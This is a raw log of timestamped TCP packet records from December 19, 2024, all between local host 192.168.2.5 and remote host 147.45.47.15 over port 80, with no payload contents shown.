Dec 19, 2024 08:52:54.893606901 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.893666029 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.898375988 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.898458958 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.898516893 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.903225899 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.903291941 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.903348923 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.004862070 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.004992008 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.005103111 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.006829977 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.006916046 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.007004976 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.010518074 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.012135983 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.012187958 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.012228966 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.015770912 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.015850067 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.015919924 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.019597054 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.019702911 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.019777060 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.023303986 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.023431063 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.023437977 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.026998043 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.027086973 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.027164936 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.030411959 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.030499935 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.030599117 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.033853054 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.033978939 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.034035921 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.037488937 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.037561893 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.037566900 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.040781975 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.040880919 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.040958881 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.044775963 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.044847012 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.044929028 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.047461987 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.047646046 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.047713041 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.050950050 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.051022053 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.051069975 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.054285049 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.054347992 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.054415941 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.057709932 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.057913065 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.058001995 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.061182022 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.061265945 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.061276913 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.064558983 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.064660072 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.064754963 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.067989111 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.068058968 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.068134069 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.071444035 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.071511984 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.071527958 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.074856043 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.074953079 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.074981928 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.078258038 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.078330994 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.078380108 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.081723928 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.081757069 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.081809998 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.085171938 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.085268974 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.085279942 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.088500977 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.088597059 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.088603973 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.091957092 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.092031002 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.092041016 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.095390081 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.095472097 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.095503092 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.098861933 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.098939896 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.098954916 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.102730989 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.102812052 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.102813005 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.105624914 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.105751038 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.105762005 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.109046936 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.109112024 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.109178066 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.112431049 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.112524033 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.196993113 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.197077990 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.197158098 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.198369980 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.198477983 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.198523998 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.201375008 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.201456070 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.201509953 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.204123020 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.204312086 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.204361916 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.206907988 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.206979990 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.207035065 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.209678888 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.209805012 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.209862947 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.212424994 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.212533951 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.212594032 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.215044975 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.215226889 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.215282917 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.217674017 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.217803955 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.217858076 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.220212936 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.220267057 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.220320940 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.222711086 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.222815037 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.222865105 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.225263119 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.225393057 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.225452900 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.227612019 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.227824926 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.227885008 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.229995966 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.230107069 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.230158091 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.232424974 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.232511044 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.232570887 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.234812975 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.234931946 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.234988928 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.237113953 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.237226009 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.237286091 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.239412069 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.239643097 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.239696026 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.241677046 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.241826057 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.241882086 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.243969917 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.244080067 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.244129896 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.246267080 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.246371031 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.246433020 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.248574972 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.248724937 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.248781919 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.250840902 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.250938892 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.251063108 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.253218889 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.253294945 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.253350019 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.255438089 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.255543947 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.255594969 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.257783890 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.257838964 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.257898092 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.259999037 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.260126114 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.260176897 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.262296915 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.262445927 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.262495995 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.264607906 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.264698982 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.264755964 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.266908884 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.267026901 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.267086029 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.269119024 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.269296885 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.269356966 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.271485090 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.271578074 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.271630049 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.273746014 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.273878098 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.273922920 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.276201963 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.276293993 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.276345015 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.278289080 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.278404951 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.278450012 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.280551910 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.280674934 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.280716896 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.282892942 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.283016920 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.283066034 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.285131931 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.285299063 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.285343885 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.287416935 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.287538052 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.287590981 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.289791107 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.289871931 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.289917946 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.292021036 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.292124987 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.292166948 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.294306993 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.294450045 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.294552088 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.296588898 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.296713114 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.296762943 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.298865080 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.299036980 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.299078941 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.301209927 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.301331043 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.301376104 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.303468943 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.303599119 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.303662062 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.305747032 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.305870056 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.305922031 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.308038950 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.308146000 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.308197021 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.310313940 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.310420990 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.310477018 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.312625885 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.312758923 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.312813044 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.315001965 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.315202951 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.315253973 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.317189932 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.317303896 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.317352057 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.319495916 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.319583893 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.319645882 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.391565084 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.391587019 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.391603947 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.391621113 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.391681910 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.391725063 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.392144918 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.392283916 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.392335892 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.393661022 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.393781900 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.393835068 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.395432949 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.395581961 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.395639896 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.397167921 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.397284985 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.397341967 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.398870945 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.398983955 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.399039984 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.400599003 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.400726080 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.400783062 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.402297974 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.402410984 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.402510881 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.403927088 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.404098988 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.404170990 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.405575991 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.405692101 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.405744076 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.407427073 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.407463074 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.407519102 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.408863068 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.409003973 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.409065008 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.410427094 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.410774946 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.410842896 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.414757013 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.414809942 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.414861917 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.414895058 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.414921045 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.414952040 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.415421009 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.415585995 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.415637016 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.416996956 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.417179108 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.417233944 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.418412924 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.418584108 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.418631077 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.420010090 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.420190096 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.420243025 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.421180964 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.421305895 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.421361923 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.422683954 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.422852993 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.422918081 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.424164057 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.424287081 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.424339056 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.425632954 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.425743103 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.425813913 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.427090883 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.427213907 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.427284956 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:55.428563118 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:55.428666115 CET	80	49705	147.45.47.15	192.168.2.5
